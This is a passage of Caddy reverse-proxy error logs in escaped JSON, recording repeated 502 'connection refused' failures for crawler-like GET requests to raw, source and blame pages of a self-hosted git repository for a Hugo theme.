Chrome\\\u0026#34;;v=\\\u0026#34;135\\\u0026#34;, \\\u0026#34;Not-A.Brand\\\u0026#34;;v=\\\u0026#34;8\\\u0026#34;, \\\u0026#34;Chromium\\\u0026#34;;v=\\\u0026#34;135\\\u0026#34;\u0026#34;],\u0026#34;Cache-Control\u0026#34;:[\u0026#34;no-cache\u0026#34;],\u0026#34;Priority\u0026#34;:[\u0026#34;u=0, i\u0026#34;],\u0026#34;Sec-Fetch-User\u0026#34;:[\u0026#34;?1\u0026#34;],\u0026#34;Pragma\u0026#34;:[\u0026#34;no-cache\u0026#34;],\u0026#34;Accept-Language\u0026#34;:[\u0026#34;en,en-US\u0026#34;],\u0026#34;Sec-Ch-Ua-Mobile\u0026#34;:[\u0026#34;?0\u0026#34;],\u0026#34;Sec-Fetch-Dest\u0026#34;:[\u0026#34;document\u0026#34;],\u0026#34;User-Agent\u0026#34;:[\u0026#34;Mozilla/5.0 (Windows NT 10.0; Win64; x64) Chrome/91.0.4472.124\u0026#34;],\u0026#34;Connection\u0026#34;:[\u0026#34;keep-alive\u0026#34;],\u0026#34;Upgrade-Insecure-Requests\u0026#34;:[\u0026#34;1\u0026#34;],\u0026#34;Accept-Encoding\u0026#34;:[\u0026#34;gzip, deflate\u0026#34;],\u0026#34;Sec-Ch-Ua-Platform\u0026#34;:[\u0026#34;\\\u0026#34;macOS\\\u0026#34;\u0026#34;],\u0026#34;Accept\u0026#34;:[\u0026#34;*/*\u0026#34;],\u0026#34;Sec-Fetch-Mode\u0026#34;:[\u0026#34;navigate\u0026#34;]},\u0026#34;tls\u0026#34;:{\u0026#34;resumed\u0026#34;:false,\u0026#34;version\u0026#34;:772,\u0026#34;cipher_suite\u0026#34;:4865,\u0026#34;proto\u0026#34;:\u0026#34;http/1.1\u0026#34;,\u0026#34;server_name\u0026#34;:\u0026#34;git.cyp0633.icu\u0026#34;}},\u0026#34;duration\u0026#34;:0.000191609,\u0026#34;status\u0026#34;:502,\u0026#34;err_id\u0026#34;:\u0026#34;fhuzf2976\u0026#34;,\u0026#34;err_trace\u0026#34;:\u0026#34;reverseproxy.statusError (reverseproxy.go:1373)\u0026#34;} Aug 19 21:00:32 VM-8-17-ubuntu caddy[5430]: {\u0026#34;level\u0026#34;:\u0026#34;error\u0026#34;,\u0026#34;ts\u0026#34;:1755608432.3730135,\u0026#34;logger\u0026#34;:\u0026#34;http.log.error\u0026#34;,\u0026#34;msg\u0026#34;:\u0026#34;dial tcp :3001: connect: connection refused\u0026#34;,\u0026#34;request\u0026#34;:{\u0026#34;remote_ip\u0026#34;:\u0026#34;47.79.215.163\u0026#34;,\u0026#34;remote_port\u0026#34;:\u0026#34;20753\u0026#34;,\u0026#34;client_ip\u0026#34;:\u0026#34;47.79.215.163\u0026#34;,\u0026#34;proto\u0026#34;:\u0026#34;HTTP/1.1\u0026#34;,\u0026#34;method\u0026#34;:\u0026#34;GET\u0026#34;,\u0026#34;host\u0026#34;:\u0026#34;git.cyp0633.icu\u0026#34;,\u0026#34;uri\u0026#34;:\u0026#34;/cyp0633/stack-mod/raw/commit/0af9d23e4989ed7ada10e6990802ccd9a28d8797/layouts/partials/data/description.html\u0026#34;,\u0026#34;headers\u0026#34;:{\u0026#34;Sec-Ch-Ua\u0026#34;:[\u0026#34;\\\u0026#34;Google Chrome\\\u0026#34;;v=\\\u0026#34;135\\\u0026#34;, \\\u0026#34;Not-A.Brand\\\u0026#34;;v=\\\u0026#34;8\\\u0026#34;, \\\u0026#34;Chromium\\\u0026#34;;v=\\\u0026#34;135\\\u0026#34;\u0026#34;],\u0026#34;Pragma\u0026#34;:[\u0026#34;no-cache\u0026#34;],\u0026#34;Cache-Control\u0026#34;:[\u0026#34;no-cache\u0026#34;],\u0026#34;Sec-Ch-Ua-Platform\u0026#34;:[\u0026#34;\\\u0026#34;macOS\\\u0026#34;\u0026#34;],\u0026#34;Sec-Fetch-Mode\u0026#34;:[\u0026#34;navigate\u0026#34;],\u0026#34;Connection\u0026#34;:[\u0026#34;keep-alive\u0026#34;],\u0026#34;Accept-Language\u0026#34;:[\u0026#34;en,en-US\u0026#34;],\u0026#34;Accept-Encoding\u0026#34;:[\u0026#34;gzip, deflate\u0026#34;],\u0026#34;Upgrade-Insecure-Requests\u0026#34;:[\u0026#34;1\u0026#34;],\u0026#34;User-Agent\u0026#34;:[\u0026#34;Mozilla/5.0 (Windows NT 10.0; Win64; x64) Chrome/91.0.4472.124\u0026#34;],\u0026#34;Accept\u0026#34;:[\u0026#34;*/*\u0026#34;],\u0026#34;Sec-Ch-Ua-Mobile\u0026#34;:[\u0026#34;?0\u0026#34;],\u0026#34;Sec-Fetch-Site\u0026#34;:[\u0026#34;none\u0026#34;],\u0026#34;Sec-Fetch-Dest\u0026#34;:[\u0026#34;document\u0026#34;],\u0026#34;Sec-Fetch-User\u0026#34;:[\u0026#34;?1\u0026#34;],\u0026#34;Priority\u0026#34;:[\u0026#34;u=0, i\u0026#34;]},\u0026#34;tls\u0026#34;:{\u0026#34;resumed\u0026#34;:false,\u0026#34;version\u0026#34;:772,\u0026#34;cipher_suite\u0026#34;:4865,\u0026#34;proto\u0026#34;:\u0026#34;http/1.1\u0026#34;,\u0026#34;server_name\u0026#34;:\u0026#34;git.cyp0633.icu\u0026#34;}},\u0026#34;duration\u0026#34;:0.000226774,\u0026#34;status\u0026#34;:502,\u0026#34;err_id\u0026#34;:\u0026#34;kprf6bcji\u0026#34;,\u0026#34;err_trace\u0026#34;:\u0026#34;reverseproxy.statusError (reverseproxy.go:1373)\u0026#34;} Aug 19 21:00:32 VM-8-17-ubuntu caddy[5430]: {\u0026#34;level\u0026#34;:\u0026#34;error\u0026#34;,\u0026#34;ts\u0026#34;:1755608432.4402184,\u0026#34;logger\u0026#34;:\u0026#34;http.log.error\u0026#34;,\u0026#34;msg\u0026#34;:\u0026#34;dial tcp :3001: connect: connection refused\u0026#34;,\u0026#34;request\u0026#34;:{\u0026#34;remote_ip\u0026#34;:\u0026#34;47.79.195.231\u0026#34;,\u0026#34;remote_port\u0026#34;:\u0026#34;49027\u0026#34;,\u0026#34;client_ip\u0026#34;:\u0026#34;47.79.195.231\u0026#34;,\u0026#34;proto\u0026#34;:\u0026#34;HTTP/1.1\u0026#34;,\u0026#34;method\u0026#34;:\u0026#34;GET\u0026#34;,\u0026#34;host\u0026#34;:\u0026#34;git.cyp0633.icu\u0026#34;,\u0026#34;uri\u0026#34;:\u0026#34;/cyp0633/stack-mod/raw/commit/25581cc44637909a75aacdf33f896192f0569689/layouts/partials/head/style.html\u0026#34;,\u0026#34;headers\u0026#34;:{\u0026#34;User-Agent\u0026#34;:[\u0026#34;Mozilla/5.0 (Windows NT 10.0; Win64; x64) Chrome/91.0.4472.124\u0026#34;],\u0026#34;Sec-Ch-Ua-Mobile\u0026#34;:[\u0026#34;?0\u0026#34;],\u0026#34;Pragma\u0026#34;:[\u0026#34;no-cache\u0026#34;],\u0026#34;Sec-Fetch-User\u0026#34;:[\u0026#34;?1\u0026#34;],\u0026#34;Cache-Control\u0026#34;:[\u0026#34;no-cache\u0026#34;],\u0026#34;Connection\u0026#34;:[\u0026#34;keep-alive\u0026#34;],\u0026#34;Accept\u0026#34;:[\u0026#34;*/*\u0026#34;],\u0026#34;Sec-Fetch-Mode\u0026#34;:[\u0026#34;navigate\u0026#34;],\u0026#34;Upgrade-Insecure-Requests\u0026#34;:[\u0026#34;1\u0026#34;],\u0026#34;Accept-Language\u0026#34;:[\u0026#34;en,en-US\u0026#34;],\u0026#34;Sec-Ch-Ua\u0026#34;:[\u0026#34;\\\u0026#34;Google Chrome\\\u0026#34;;v=\\\u0026#34;135\\\u0026#34;, \\\u0026#34;Not-A.Brand\\\u0026#34;;v=\\\u0026#34;8\\\u0026#34;, \\\u0026#34;Chromium\\\u0026#34;;v=\\\u0026#34;135\\\u0026#34;\u0026#34;],\u0026#34;Sec-Fetch-Dest\u0026#34;:[\u0026#34;document\u0026#34;],\u0026#34;Sec-Fetch-Site\u0026#34;:[\u0026#34;none\u0026#34;],\u0026#34;Accept-Encoding\u0026#34;:[\u0026#34;gzip, deflate\u0026#34;],\u0026#34;Priority\u0026#34;:[\u0026#34;u=0, i\u0026#34;],\u0026#34;Sec-Ch-Ua-Platform\u0026#34;:[\u0026#34;\\\u0026#34;macOS\\\u0026#34;\u0026#34;]},\u0026#34;tls\u0026#34;:{\u0026#34;resumed\u0026#34;:false,\u0026#34;version\u0026#34;:772,\u0026#34;cipher_suite\u0026#34;:4865,\u0026#34;proto\u0026#34;:\u0026#34;http/1.1\u0026#34;,\u0026#34;server_name\u0026#34;:\u0026#34;git.cyp0633.icu\u0026#34;}},\u0026#34;duration\u0026#34;:0.000254457,\u0026#34;status\u0026#34;:502,\u0026#34;err_id\u0026#34;:\u0026#34;yp9xbpai2\u0026#34;,\u0026#34;err_trace\u0026#34;:\u0026#34;reverseproxy.statusError (reverseproxy.go:1373)\u0026#34;} Aug 19 21:00:32 VM-8-17-ubuntu caddy[5430]: {\u0026#34;level\u0026#34;:\u0026#34;error\u0026#34;,\u0026#34;ts\u0026#34;:1755608432.4595432,\u0026#34;logger\u0026#34;:\u0026#34;http.log.error\u0026#34;,\u0026#34;msg\u0026#34;:\u0026#34;dial tcp :3001: connect: connection refused\u0026#34;,\u0026#34;request\u0026#34;:{\u0026#34;remote_ip\u0026#34;:\u0026#34;47.79.200.216\u0026#34;,\u0026#34;remote_port\u0026#34;:\u0026#34;3491\u0026#34;,\u0026#34;client_ip\u0026#34;:\u0026#34;47.79.200.216\u0026#34;,\u0026#34;proto\u0026#34;:\u0026#34;HTTP/1.1\u0026#34;,\u0026#34;method\u0026#34;:\u0026#34;GET\u0026#34;,\u0026#34;host\u0026#34;:\u0026#34;git.cyp0633.icu\u0026#34;,\u0026#34;uri\u0026#34;:\u0026#34;/cyp0633/stack-mod/raw/commit/d04b3a8771386c9988be00adda53f0bf542cf269/layouts/partials/helper/icon.html\u0026#34;,\u0026#34;headers\u0026#34;:{\u0026#34;Connection\u0026#34;:[\u0026#34;keep-alive\u0026#34;],\u0026#34;Accept-Encoding\u0026#34;:[\u0026#34;gzip, deflate\u0026#34;],\u0026#34;Sec-Fetch-Dest\u0026#34;:[\u0026#34;document\u0026#34;],\u0026#34;Cache-Control\u0026#34;:[\u0026#34;no-cache\u0026#34;],\u0026#34;Accept-Language\u0026#34;:[\u0026#34;en,en-US\u0026#34;],\u0026#34;Accept\u0026#34;:[\u0026#34;*/*\u0026#34;],\u0026#34;Sec-Fetch-Site\u0026#34;:[\u0026#34;none\u0026#34;],\u0026#34;Sec-Ch-Ua-Mobile\u0026#34;:[\u0026#34;?0\u0026#34;],\u0026#34;Sec-Ch-Ua-Platform\u0026#34;:[\u0026#34;\\\u0026#34;macOS\\\u0026#34;\u0026#34;],\u0026#34;Pragma\u0026#34;:[\u0026#34;no-cache\u0026#34;],\u0026#34;Sec-Fetch-User\u0026#34;:[\u0026#34;?1\u0026#34;],\u0026#34;Sec-Fetch-Mode\u0026#34;:[\u0026#34;navigate\u0026#34;],\u0026#34;User-Agent\u0026#34;:[\u0026#34;Mozilla/5.0 (Windows NT 10.0; Win64; x64) Chrome/91.0.4472.124\u0026#34;],\u0026#34;Priority\u0026#34;:[\u0026#34;u=0, i\u0026#34;],\u0026#34;Sec-Ch-Ua\u0026#34;:[\u0026#34;\\\u0026#34;Google Chrome\\\u0026#34;;v=\\\u0026#34;135\\\u0026#34;, \\\u0026#34;Not-A.Brand\\\u0026#34;;v=\\\u0026#34;8\\\u0026#34;, \\\u0026#34;Chromium\\\u0026#34;;v=\\\u0026#34;135\\\u0026#34;\u0026#34;],\u0026#34;Upgrade-Insecure-Requests\u0026#34;:[\u0026#34;1\u0026#34;]},\u0026#34;tls\u0026#34;:{\u0026#34;resumed\u0026#34;:false,\u0026#34;version\u0026#34;:772,\u0026#34;cipher_suite\u0026#34;:4865,\u0026#34;proto\u0026#34;:\u0026#34;http/1.1\u0026#34;,\u0026#34;server_name\u0026#34;:\u0026#34;git.cyp0633.icu\u0026#34;}},\u0026#34;duration\u0026#34;:0.000294471,\u0026#34;status\u0026#34;:502,\u0026#34;err_id\u0026#34;:\u0026#34;txnhq2xhy\u0026#34;,\u0026#34;err_trace\u0026#34;:\u0026#34;reverseproxy.statusError (reverseproxy.go:1373)\u0026#34;} Aug 19 21:00:32 VM-8-17-ubuntu caddy[5430]: {\u0026#34;level\u0026#34;:\u0026#34;error\u0026#34;,\u0026#34;ts\u0026#34;:1755608432.4613986,\u0026#34;logger\u0026#34;:\u0026#34;http.log.error\u0026#34;,\u0026#34;msg\u0026#34;:\u0026#34;dial tcp :3001: connect: connection refused\u0026#34;,\u0026#34;request\u0026#34;:{\u0026#34;remote_ip\u0026#34;:\u0026#34;47.79.200.119\u0026#34;,\u0026#34;remote_port\u0026#34;:\u0026#34;54239\u0026#34;,\u0026#34;client_ip\u0026#34;:\u0026#34;47.79.200.119\u0026#34;,\u0026#34;proto\u0026#34;:\u0026#34;HTTP/1.1\u0026#34;,\u0026#34;method\u0026#34;:\u0026#34;GET\u0026#34;,\u0026#34;host\u0026#34;:\u0026#34;git.cyp0633.icu\u0026#34;,\u0026#34;uri\u0026#34;:\u0026#34;/cyp0633/stack-mod/src/commit/25a72940b8184b41de36fec9a3fcdd6387e006b0/layouts/partials/sidebar/left.html\u0026#34;,\u0026#34;headers\u0026#34;:{\u0026#34;Sec-Ch-Ua-Mobile\u0026#34;:[\u0026#34;?0\u0026#34;],\u0026#34;Priority\u0026#34;:[\u0026#34;u=0, i\u0026#34;],\u0026#34;Upgrade-Insecure-Requests\u0026#34;:[\u0026#34;1\u0026#34;],\u0026#34;Cache-Control\u0026#34;:[\u0026#34;no-cache\u0026#34;],\u0026#34;Connection\u0026#34;:[\u0026#34;keep-alive\u0026#34;],\u0026#34;Pragma\u0026#34;:[\u0026#34;no-cache\u0026#34;],\u0026#34;Accept-Language\u0026#34;:[\u0026#34;en,en-US\u0026#34;],\u0026#34;User-Agent\u0026#34;:[\u0026#34;Mozilla/5.0 (Windows NT 10.0; Win64; x64) Chrome/91.0.4472.124\u0026#34;],\u0026#34;Sec-Ch-Ua\u0026#34;:[\u0026#34;\\\u0026#34;Google Chrome\\\u0026#34;;v=\\\u0026#34;135\\\u0026#34;, \\\u0026#34;Not-A.Brand\\\u0026#34;;v=\\\u0026#34;8\\\u0026#34;, \\\u0026#34;Chromium\\\u0026#34;;v=\\\u0026#34;135\\\u0026#34;\u0026#34;],\u0026#34;Accept-Encoding\u0026#34;:[\u0026#34;gzip, deflate\u0026#34;],\u0026#34;Sec-Ch-Ua-Platform\u0026#34;:[\u0026#34;\\\u0026#34;macOS\\\u0026#34;\u0026#34;],\u0026#34;Sec-Fetch-Dest\u0026#34;:[\u0026#34;document\u0026#34;],\u0026#34;Accept\u0026#34;:[\u0026#34;*/*\u0026#34;],\u0026#34;Sec-Fetch-Mode\u0026#34;:[\u0026#34;navigate\u0026#34;],\u0026#34;Sec-Fetch-Site\u0026#34;:[\u0026#34;none\u0026#34;],\u0026#34;Sec-Fetch-User\u0026#34;:[\u0026#34;?1\u0026#34;]},\u0026#34;tls\u0026#34;:{\u0026#34;resumed\u0026#34;:false,\u0026#34;version\u0026#34;:772,\u0026#34;cipher_suite\u0026#34;:4865,\u0026#34;proto\u0026#34;:\u0026#34;http/1.1\u0026#34;,\u0026#34;server_name\u0026#34;:\u0026#34;git.cyp0633.icu\u0026#34;}},\u0026#34;duration\u0026#34;:0.000191127,\u0026#34;status\u0026#34;:502,\u0026#34;err_id\u0026#34;:\u0026#34;a7uvn7yxk\u0026#34;,\u0026#34;err_trace\u0026#34;:\u0026#34;reverseproxy.statusError (reverseproxy.go:1373)\u0026#34;}Aug 19 21:00:32 VM-8-17-ubuntu caddy[5430]: {\u0026#34;level\u0026#34;:\u0026#34;error\u0026#34;,\u0026#34;ts\u0026#34;:1755608432.2537313,\u0026#34;logger\u0026#34;:\u0026#34;http.log.error\u0026#34;,\u0026#34;msg\u0026#34;:\u0026#34;dial tcp :3001: connect: connection refused\u0026#34;,\u0026#34;request\u0026#34;:{\u0026#34;remote_ip\u0026#34;:\u0026#34;47.79.201.138\u0026#34;,\u0026#34;remote_port\u0026#34;:\u0026#34;56801\u0026#34;,\u0026#34;client_ip\u0026#34;:\u0026#34;47.79.201.138\u0026#34;,\u0026#34;proto\u0026#34;:\u0026#34;HTTP/1.1\u0026#34;,\u0026#34;method\u0026#34;:\u0026#34;GET\u0026#34;,\u0026#34;host\u0026#34;:\u0026#34;git.cyp0633.icu\u0026#34;,\u0026#34;uri\u0026#34;:\u0026#34;/cyp0633/stack-mod/raw/commit/b66679d36acc0443078dafdfc5452880f376e015/layouts/partials/footer/script.html\u0026#34;,\u0026#34;headers\u0026#34;:{\u0026#34;Cache-Control\u0026#34;:[\u0026#34;no-cache\u0026#34;],\u0026#34;Accept\u0026#34;:[\u0026#34;*/*\u0026#34;],\u0026#34;Sec-Ch-Ua-Platform\u0026#34;:[\u0026#34;\\\u0026#34;macOS\\\u0026#34;\u0026#34;],\u0026#34;Accept-Language\u0026#34;:[\u0026#34;en,en-US\u0026#34;],\u0026#34;Sec-Fetch-Mode\u0026#34;:[\u0026#34;navigate\u0026#34;],\u0026#34;Sec-Fetch-Site\u0026#34;:[\u0026#34;none\u0026#34;],\u0026#34;Sec-Ch-Ua\u0026#34;:[\u0026#34;\\\u0026#34;Google Chrome\\\u0026#34;;v=\\\u0026#34;135\\\u0026#34;, \\\u0026#34;Not-A.Brand\\\u0026#34;;v=\\\u0026#34;8\\\u0026#34;, \\\u0026#34;Chromium\\\u0026#34;;v=\\\u0026#34;135\\\u0026#34;\u0026#34;],\u0026#34;Connection\u0026#34;:[\u0026#34;keep-alive\u0026#34;],\u0026#34;Pragma\u0026#34;:[\u0026#34;no-cache\u0026#34;],\u0026#34;Sec-Ch-Ua-Mobile\u0026#34;:[\u0026#34;?0\u0026#34;],\u0026#34;Upgrade-Insecure-Requests\u0026#34;:[\u0026#34;1\u0026#34;],\u0026#34;Sec-Fetch-User\u0026#34;:[\u0026#34;?1\u0026#34;],\u0026#34;Priority\u0026#34;:[\u0026#34;u=0, i\u0026#34;],\u0026#34;Sec-Fetch-Dest\u0026#34;:[\u0026#34;document\u0026#34;],\u0026#34;User-Agent\u0026#34;:[\u0026#34;Mozilla/5.0 (Windows NT 10.0; Win64; x64) Chrome/91.0.4472.124\u0026#34;],\u0026#34;Accept-Encoding\u0026#34;:[\u0026#34;gzip, deflate\u0026#34;]},\u0026#34;tls\u0026#34;:{\u0026#34;resumed\u0026#34;:false,\u0026#34;version\u0026#34;:772,\u0026#34;cipher_suite\u0026#34;:4865,\u0026#34;proto\u0026#34;:\u0026#34;http/1.1\u0026#34;,\u0026#34;server_name\u0026#34;:\u0026#34;git.cyp0633.icu\u0026#34;}},\u0026#34;duration\u0026#34;:0.000190728,\u0026#34;status\u0026#34;:502,\u0026#34;err_id\u0026#34;:\u0026#34;00uu9mrsp\u0026#34;,\u0026#34;err_trace\u0026#34;:\u0026#34;reverseproxy.statusError (reverseproxy.go:1373)\u0026#34;} Aug 19 21:00:32 VM-8-17-ubuntu caddy[5430]: {\u0026#34;level\u0026#34;:\u0026#34;error\u0026#34;,\u0026#34;ts\u0026#34;:1755608432.260209,\u0026#34;logger\u0026#34;:\u0026#34;http.log.error\u0026#34;,\u0026#34;msg\u0026#34;:\u0026#34;dial tcp :3001: connect: connection refused\u0026#34;,\u0026#34;request\u0026#34;:{\u0026#34;remote_ip\u0026#34;:\u0026#34;47.79.212.84\u0026#34;,\u0026#34;remote_port\u0026#34;:\u0026#34;39054\u0026#34;,\u0026#34;client_ip\u0026#34;:\u0026#34;47.79.212.84\u0026#34;,\u0026#34;proto\u0026#34;:\u0026#34;HTTP/1.1\u0026#34;,\u0026#34;method\u0026#34;:\u0026#34;GET\u0026#34;,\u0026#34;host\u0026#34;:\u0026#34;git.cyp0633.icu\u0026#34;,\u0026#34;uri\u0026#34;:\u0026#34;/cyp0633/stack-mod/src/commit/25581cc44637909a75aacdf33f896192f0569689/layouts/partials/head/opengraph/include.html\u0026#34;,\u0026#34;headers\u0026#34;:{\u0026#34;Accept-Language\u0026#34;:[\u0026#34;en,en-US\u0026#34;],\u0026#34;Connection\u0026#34;:[\u0026#34;keep-alive\u0026#34;],\u0026#34;Priority\u0026#34;:[\u0026#34;u=0, i\u0026#34;],\u0026#34;Sec-Fetch-Mode\u0026#34;:[\u0026#34;navigate\u0026#34;],\u0026#34;User-Agent\u0026#34;:[\u0026#34;Mozilla/5.0 (Windows NT 10.0; Win64; x64) Chrome/91.0.4472.124\u0026#34;],\u0026#34;Accept-Encoding\u0026#34;:[\u0026#34;gzip, deflate\u0026#34;],\u0026#34;Accept\u0026#34;:[\u0026#34;*/*\u0026#34;],\u0026#34;Sec-Ch-Ua-Platform\u0026#34;:[\u0026#34;\\\u0026#34;macOS\\\u0026#34;\u0026#34;],\u0026#34;Sec-Fetch-Dest\u0026#34;:[\u0026#34;document\u0026#34;],\u0026#34;Pragma\u0026#34;:[\u0026#34;no-cache\u0026#34;],\u0026#34;Upgrade-Insecure-Requests\u0026#34;:[\u0026#34;1\u0026#34;],\u0026#34;Sec-Ch-Ua\u0026#34;:[\u0026#34;\\\u0026#34;Google Chrome\\\u0026#34;;v=\\\u0026#34;135\\\u0026#34;, \\\u0026#34;Not-A.Brand\\\u0026#34;;v=\\\u0026#34;8\\\u0026#34;, \\\u0026#34;Chromium\\\u0026#34;;v=\\\u0026#34;135\\\u0026#34;\u0026#34;],\u0026#34;Sec-Fetch-Site\u0026#34;:[\u0026#34;none\u0026#34;],\u0026#34;Sec-Fetch-User\u0026#34;:[\u0026#34;?1\u0026#34;],\u0026#34;Cache-Control\u0026#34;:[\u0026#34;no-cache\u0026#34;],\u0026#34;Sec-Ch-Ua-Mobile\u0026#34;:[\u0026#34;?0\u0026#34;]},\u0026#34;tls\u0026#34;:{\u0026#34;resumed\u0026#34;:false,\u0026#34;version\u0026#34;:772,\u0026#34;cipher_suite\u0026#34;:4865,\u0026#34;proto\u0026#34;:\u0026#34;http/1.1\u0026#34;,\u0026#34;server_name\u0026#34;:\u0026#34;git.cyp0633.icu\u0026#34;}},\u0026#34;duration\u0026#34;:0.000227457,\u0026#34;status\u0026#34;:502,\u0026#34;err_id\u0026#34;:\u0026#34;aa84vne2s\u0026#34;,\u0026#34;err_trace\u0026#34;:\u0026#34;reverseproxy.statusError (reverseproxy.go:1373)\u0026#34;} Aug 19 21:00:32 VM-8-17-ubuntu caddy[5430]: {\u0026#34;level\u0026#34;:\u0026#34;error\u0026#34;,\u0026#34;ts\u0026#34;:1755608432.2617188,\u0026#34;logger\u0026#34;:\u0026#34;http.log.error\u0026#34;,\u0026#34;msg\u0026#34;:\u0026#34;dial tcp :3001: connect: connection refused\u0026#34;,\u0026#34;request\u0026#34;:{\u0026#34;remote_ip\u0026#34;:\u0026#34;47.79.206.1\u0026#34;,\u0026#34;remote_port\u0026#34;:\u0026#34;30313\u0026#34;,\u0026#34;client_ip\u0026#34;:\u0026#34;47.79.206.1\u0026#34;,\u0026#34;proto\u0026#34;:\u0026#34;HTTP/1.1\u0026#34;,\u0026#34;method\u0026#34;:\u0026#34;GET\u0026#34;,\u0026#34;host\u0026#34;:\u0026#34;git.cyp0633.icu\u0026#34;,\u0026#34;uri\u0026#34;:\u0026#34;/cyp0633/stack-mod/blame/commit/25a72940b8184b41de36fec9a3fcdd6387e006b0/layouts/partials/sidebar/left.html\u0026#34;,\u0026#34;headers\u0026#34;:{\u0026#34;Sec-Fetch-Dest\u0026#34;:[\u0026#34;document\u0026#34;],\u0026#34;Upgrade-Insecure-Requests\u0026#34;:[\u0026#34;1\u0026#34;],\u0026#34;Cache-Control\u0026#34;:[\u0026#34;no-cache\u0026#34;],\u0026#34;Sec-Ch-Ua-Mobile\u0026#34;:[\u0026#34;?0\u0026#34;],\u0026#34;Accept-Encoding\u0026#34;:[\u0026#34;gzip, deflate\u0026#34;],\u0026#34;Pragma\u0026#34;:[\u0026#34;no-cache\u0026#34;],\u0026#34;Connection\u0026#34;:[\u0026#34;keep-alive\u0026#34;],\u0026#34;Sec-Fetch-Mode\u0026#34;:[\u0026#34;navigate\u0026#34;],\u0026#34;User-Agent\u0026#34;:[\u0026#34;Mozilla/5.0 (Windows NT 10.0; Win64; x64) Chrome/91.0.4472.124\u0026#34;],\u0026#34;Sec-Fetch-Site\u0026#34;:[\u0026#34;none\u0026#34;],\u0026#34;Sec-Fetch-User\u0026#34;:[\u0026#34;?1\u0026#34;],\u0026#34;Priority\u0026#34;:[\u0026#34;u=0, i\u0026#34;],\u0026#34;Sec-Ch-Ua-Platform\u0026#34;:[\u0026#34;\\\u0026#34;macOS\\\u0026#34;\u0026#34;],\u0026#34;Accept-Language\u0026#34;:[\u0026#34;en,en-US\u0026#34;],\u0026#34;Sec-Ch-Ua\u0026#34;:[\u0026#34;\\\u0026#34;Google Chrome\\\u0026#34;;v=\\\u0026#34;135\\\u0026#34;, \\\u0026#34;Not-A.Brand\\\u0026#34;;v=\\\u0026#34;8\\\u0026#34;, \\\u0026#34;Chromium\\\u0026#34;;v=\\\u0026#34;135\\\u0026#34;\u0026#34;],\u0026#34;Accept\u0026#34;:[\u0026#34;*/*\u0026#34;]},\u0026#34;tls\u0026#34;:{\u0026#34;resumed\u0026#34;:false,\u0026#34;version\u0026#34;:772,\u0026#34;cipher_suite\u0026#34;:4865,\u0026#34;proto\u0026#34;:\u0026#34;http/1.1\u0026#34;,\u0026#34;server_name\u0026#34;:\u0026#34;git.cyp0633.icu\u0026#34;}},\u0026#34;duration\u0026#34;:0.000177793,\u0026#34;status\u0026#34;:502,\u0026#34;err_id\u0026#34;:\u0026#34;7jqfa7yiq\u0026#34;,\u0026#34;err_trace\u0026#34;:\u0026#34;reverseproxy.statusError (reverseproxy.go:1373)\u0026#34;} Aug 19 21:00:32 VM-8-17-ubuntu caddy[5430]: {\u0026#34;level\u0026#34;:\u0026#34;error\u0026#34;,\u0026#34;ts\u0026#34;:1755608432.2736785,\u0026#34;logger\u0026#34;:\u0026#34;http.log.error\u0026#34;,\u0026#34;msg\u0026#34;:\u0026#34;dial tcp :3001: connect: connection refused\u0026#34;,\u0026#34;request\u0026#34;:{\u0026#34;remote_ip\u0026#34;:\u0026#34;47.79.198.78\u0026#34;,\u0026#34;remote_port\u0026#34;:\u0026#34;25315\u0026#34;,\u0026#34;client_ip\u0026#34;:\u0026#34;47.79.198.78\u0026#34;,\u0026#34;proto\u0026#34;:\u0026#34;HTTP/1.1\u0026#34;,\u0026#34;method\u0026#34;:\u0026#34;GET\u0026#34;,\u0026#34;host\u0026#34;:\u0026#34;git.cyp0633.icu\u0026#34;,\u0026#34;uri\u0026#34;:\u0026#34;/cyp0633/stack-mod/raw/commit/2fd3bde9a40790bf98893b0c5062a2f4c0ac9d8f/layouts/partials/article-list/compact.html\u0026#34;,\u0026#34;headers\u0026#34;:{\u0026#34;Sec-Ch-Ua-Platform\u0026#34;:[\u0026#34;\\\u0026#34;macOS\\\u0026#34;\u0026#34;],\u0026#34;Connection\u0026#34;:[\u0026#34;keep-alive\u0026#34;],\u0026#34;Cache-Control\u0026#34;:[\u0026#34;no-cache\u0026#34;],\u0026#34;Pragma\u0026#34;:[\u0026#34;no-cache\u0026#34;],\u0026#34;Sec-Fetch-Site\u0026#34;:[\u0026#34;none\u0026#34;],\u0026#34;Accept\u0026#34;:[\u0026#34;*/*\u0026#34;],\u0026#34;Sec-Ch-Ua-Mobile\u0026#34;:[\u0026#34;?0\u0026#34;],\u0026#34;Accept-Language\u0026#34;:[\u0026#34;en,en-US\u0026#34;],\u0026#34;Sec-Fetch-Dest\u0026#34;:[\u0026#34;document\u0026#34;],\u0026#34;Upgrade-Insecure-Requests\u0026#34;:[\u0026#34;1\u0026#34;],\u0026#34;Sec-Fetch-Mode\u0026#34;:[\u0026#34;navigate\u0026#34;],\u0026#34;Sec-Fetch-User\u0026#34;:[\u0026#34;?1\u0026#34;],\u0026#34;User-Agent\u0026#34;:[\u0026#34;Mozilla/5.0 (Windows NT 10.0; Win64; x64) Chrome/91.0.4472.124\u0026#34;],\u0026#34;Accept-Encoding\u0026#34;:[\u0026#34;gzip, deflate\u0026#34;],\u0026#34;Priority\u0026#34;:[\u0026#34;u=0, i\u0026#34;],\u0026#34;Sec-Ch-Ua\u0026#34;:[\u0026#34;\\\u0026#34;Google Chrome\\\u0026#34;;v=\\\u0026#34;135\\\u0026#34;, \\\u0026#34;Not-A.Brand\\\u0026#34;;v=\\\u0026#34;8\\\u0026#34;, \\\u0026#34;Chromium\\\u0026#34;;v=\\\u0026#34;135\\\u0026#34;\u0026#34;]},\u0026#34;tls\u0026#34;:{\u0026#34;resumed\u0026#34;:false,\u0026#34;version\u0026#34;:772,\u0026#34;cipher_suite\u0026#34;:4865,\u0026#34;proto\u0026#34;:\u0026#34;http/1.1\u0026#34;,\u0026#34;server_name\u0026#34;:\u0026#34;git.cyp0633.icu\u0026#34;}},\u0026#34;duration\u0026#34;:0.000182872,\u0026#34;status\u0026#34;:502,\u0026#34;err_id\u0026#34;:\u0026#34;89gyde5bz\u0026#34;,\u0026#34;err_trace\u0026#34;:\u0026#34;reverseproxy.statusError (reverseproxy.go:1373)\u0026#34;} Aug 19 21:00:32 VM-8-17-ubuntu caddy[5430]: {\u0026#34;level\u0026#34;:\u0026#34;error\u0026#34;,\u0026#34;ts\u0026#34;:1755608432.2741818,\u0026#34;logger\u0026#34;:\u0026#34;http.log.error\u0026#34;,\u0026#34;msg\u0026#34;:\u0026#34;dial tcp :3001: connect: connection 